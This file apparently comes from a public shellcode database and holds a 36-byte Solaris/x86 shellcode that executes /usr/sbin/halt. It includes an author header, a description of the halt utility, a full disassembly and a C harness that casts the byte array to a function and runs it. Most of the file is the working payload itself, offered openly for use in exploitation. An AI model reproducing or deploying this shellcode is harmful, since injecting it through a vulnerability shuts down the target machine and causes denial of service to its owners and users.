/*
Title: Solaris/x86 - Halt shellcode - 36 bytes
Auhtor: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/jonathansalwan
Date: 2010-05-20
Tested: SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris
!Database of Shellcodes http://www.shell-storm.org/shellcode/
Description:
------------
The halt and poweroff utilities write any pending information
to the disks and then stop the processor. The poweroff utility
will have the machine remove power, if possible.
The halt and poweroff utilities normally log the system
shutdown to the system log daemon, syslogd(1M), and place a
shutdown record in the login accounting file /var/adm/wtmpx.
These actions are inhibited if the -n or -q options are
present.
Disassembly informations:
-------------------------
section .text
0x8048074: 31 d2 xorl %edx,%edx
0x8048076: 52 pushl %edx
0x8048077: 66 68 6c 74 pushw $0x746c
0x804807b: 68 6e 2f 68 61 pushl $0x61682f6e
0x8048080: 68 2f 73 62 69 pushl $0x6962732f
0x8048085: 68 2f 75 73 72 pushl $0x7273752f
0x804808a: 89 e3 movl %esp,%ebx
0x804808c: 52 pushl %edx
0x804808d: 53 pushl %ebx
0x804808e: 89 e1 movl %esp,%ecx
0x8048090: 52 pushl %edx
0x8048091: 51 pushl %ecx
0x8048092: 53 pushl %ebx
0x8048093: b0 3b movb $0x3b,%al
0x8048095: 52 pushl %edx
0x8048096: cd 91 int $0x91
*/
#include <stdio.h>
char sc[] = "\x31\xd2\x52\x66\x68\x6c\x74\x68\x6e"
"\x2f\x68\x61\x68\x2f\x73\x62\x69\x68"
"\x2f\x75\x73\x72\x89\xe3\x52\x53\x89"
"\xe1\x52\x51\x53\xb0\x3b\x52\xcd\x91";
int main(void)
{
fprintf(stdout,"Lenght: %d\n",strlen(sc));
(*(void(*)()) sc)();
return 0;
}